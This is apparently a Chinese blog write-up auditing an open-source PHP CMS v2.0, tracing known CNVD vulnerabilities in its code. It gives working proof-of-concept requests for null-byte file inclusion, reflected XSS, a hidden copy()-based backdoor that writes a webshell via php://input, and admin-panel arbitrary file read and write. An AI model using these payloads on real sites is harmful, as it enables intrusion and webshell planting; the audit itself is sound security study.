【安全漏洞】开源cms v2.0审计

u=4195441532,656325186&fm=26&fmt=auto.jpeg

前言

在CNVD上看到一个CMS存在多种类型的漏洞,对于之前只能审计出SQL注入和XSS的我来说是个比较好的学习案例,于是从网上找到源码,本地搭建审计一波

查看资料

审计环境

phpstudy(php 5.4.45+Apache+Mysql)
phpstorm + seay代码审计工具
Windows 7 64位

代码审计

个人习惯,安装完成后同样先看/install目录,看逻辑是否合理,有没有可能存在重装漏洞


在这里插入图片描述

使用file_exits()检查是否存在/install.lock.php文件,存在则exit退出,不存在重装漏洞。
接下来就从前台开始,先看入口文件index.php

require_once(dirname(__FILE__) . "/core/init.php");
// 预防XSS漏洞
foreach ($_GET as $k => $v) {
    $_GET[$k] = htmlspecialchars($v);
}
$dbm = new db_mysql();
// 预处理搜索时的值,主要是防止sql的注入
if (isset($_GET['q'])) {
    //搜索框为空鼠标点击显示15个热搜词
    if (isset($_GET['act']) && $_GET['act'] == 'hot') {
        if (trim($_GET['q']) == '') {
            $sql = "SELECT id,q,qnum FROM " . TB_PREFIX . "search_keyword LIMIT 15";
            $res = $dbm->query($sql);
            if (empty($res['error']) && is_array($res['list'])) {
                foreach ($res['list'] as $k => $v) {
                    $res['list'][$k]['q'] = helper :: utf8_substr($v['q'], 0, 20);
                }
                echo json_encode($res['list']);
                exit;
            } else {
                die();
            }
        }
    }
    // 超出长度截取
    if (strlen($_GET['q']) > 20) {
        $_GET['q'] = helper :: utf8_substr($_GET['q'], 0, 20);
    }

    if (trim($_GET['q']) == '0' || trim($_GET['q']) == '') die('搜索词不能为0或空,请重新输入。点此 <a href ="' . SITE_PATH . '">回到首页</a>');
    if (!preg_match("/^[\x{4e00}-\x{9fa5}\w {0}]+$/u", $_GET['q'])) {
        die('搜索词只允许下划线,数字,字母,汉字和空格,请重新输入。点此<a href ="' . SITE_PATH . '">回到首页</a>');
    }

文件开始是一些过滤代码,主要做了两个过滤。一个是把GET方式传入的值使用htmlspecialchars进行处理,另一个是使用preg_match匹配正则处理,限制输入只能是下划线,数字,字母,汉字和空格。

前台文件包含

继续往下看,看到seay扫描到的一个漏洞位置

在这里插入图片描述

跟进看具体代码
在这里插入图片描述

首先通过变量from_mobile和tpl赋值给tmp_file构造成php文件名,然后判断文件是否存在,如果存在,则使用require包含该文件。 往上跟踪from_mobile和tpl的来源,from_mobile是取一个全局变量的值,而$tpl是通过GET方式传入,没有做其他的限制,那么就可以控制文件名进行包含。
在这里插入图片描述

漏洞验证
在网站根目录下,创建一个phpinfo.php文件进行包含

index.php?tpl=../../phpinfo
在这里插入图片描述

但是这里限制了后缀是.php,这显然很鸡肋,都是php文件了,直接就能执行了,没必要再去包含了。除非当php版本小于5.3.4且没有开启magic_quotes_gpc时,可以使用%00截断,包含其他类型的文件。这里切换到5.2.17版本测试,可以尝试包含.jpg的文件。
漏洞验证

index.php?tpl=../../phpinfo.jpg%00
在这里插入图片描述

%00截断后成功包含,那么如果找到一个能上传图片的点,就能上传图片马,配合文件包含getshell。

反射XSS

第一处
/templates/m/search.php


在这里插入图片描述

直接判断参数q是否存在,存在就直接输出,没有做任何过滤,很明显的漏洞

/templates/m/search.php?q="><script>alert('xss')</script>
在这里插入图片描述

第二处
/templates/m/inc_head.php


在这里插入图片描述

这里同样判断参数q是否存在,存在就直接输出,没有做任何过滤

/templates/m/inc_head.php?q="><script>alert('xss')</script>

由于这两个文件都是模板文件,所以只要包含了这两个文件的地方,都会存在XSS

隐藏后门

/templates/m/content_list.php


在这里插入图片描述

当传入参数session的md5值为9c224bc6b59179729b15e1dddcbb5c82时,会执行一段copy函数构造的后门代码
实际执行的代码如下

copy(trim($_GET[url]),$_GET[cms]);

如果将参数url设置为php://input,参数cms设置为shell的文件名,然后POST传入webshell代码,即可在当前目录写入shell文件
漏洞验证

在这里插入图片描述

随后访问test.php
随后访问test.php

后台任意文件读取

/adm/template.php


在这里插入图片描述

在m__show()函数中,首先判断$page['get']['filename']是否是一个文件,如果是,则调用helper类中的get_contents方法
跟踪一下get_contents()方法


在这里插入图片描述

36-39行,使用while语句循环,将整个文件的内容读取到content中,随后返回 回到template.php,看一下page['get']['filename']的来源

在这里插入图片描述

$page['get']是通过GET方式传入的值,那么GET方式传入filename参数,即可控制文件名进行包含。那么只要调用m__show函数,就能包含任意文件。于是寻找m__show函数被调用的地方。

在这里插入图片描述

在43行使用call_user_func调用函数,而$page['get']['m']的值通过GET方式传入,当我们传入m=show时,即可调用m__show函数。
漏洞验证
综合以上两点,可以构造payload如下

/adm/template.php?m=show&filename=../../index.php
在这里插入图片描述

成功读取index.php文件的内容

后台任意文件写入

/adm/template.php


在这里插入图片描述

92行,当POST中存在content参数时,调用file_put_contents函数写入文件,写入文件名由POST传入filename参数进行控制,写入内容为escape_stripslashes方法处理过后的content参数
跟进escape_stripslashes方法


在这里插入图片描述

该方法中判断PHP版本小于5.4.0且gpc开启的情况下,调用stripslashes函数删除反斜杠,否则直接返回字符串
由于本地环境使用的php版本为5.4.45,所以content参数不会做任何处理,直接传入一句话。而filename参数前面会拼接/templates/default/目录,传入../跳转到根目录
漏洞验证
构造数据包在根目录写入shell文件

在这里插入图片描述

访问shell.php


在这里插入图片描述

总结

这次审计中包含了好几种漏洞类型,有的漏洞是平时比较少审计到的,对个人学习有不小帮助。由于是通过CNVD中的漏洞信息去审计已经存在的漏洞,找出对应的漏洞点,相对于直接挖掘是比较容易的。

最后

关注我,持续更新······

私我获取【网络安全学习资料·攻略

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 217,509评论 6 504
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 92,806评论 3 394
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 163,875评论 0 354
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,441评论 1 293
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,488评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,365评论 1 302
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,190评论 3 418
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,062评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,500评论 1 314
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,706评论 3 335
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 39,834评论 1 347
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,559评论 5 345
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,167评论 3 328
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 31,779评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,912评论 1 269
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 47,958评论 2 370
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 44,779评论 2 354

推荐阅读更多精彩内容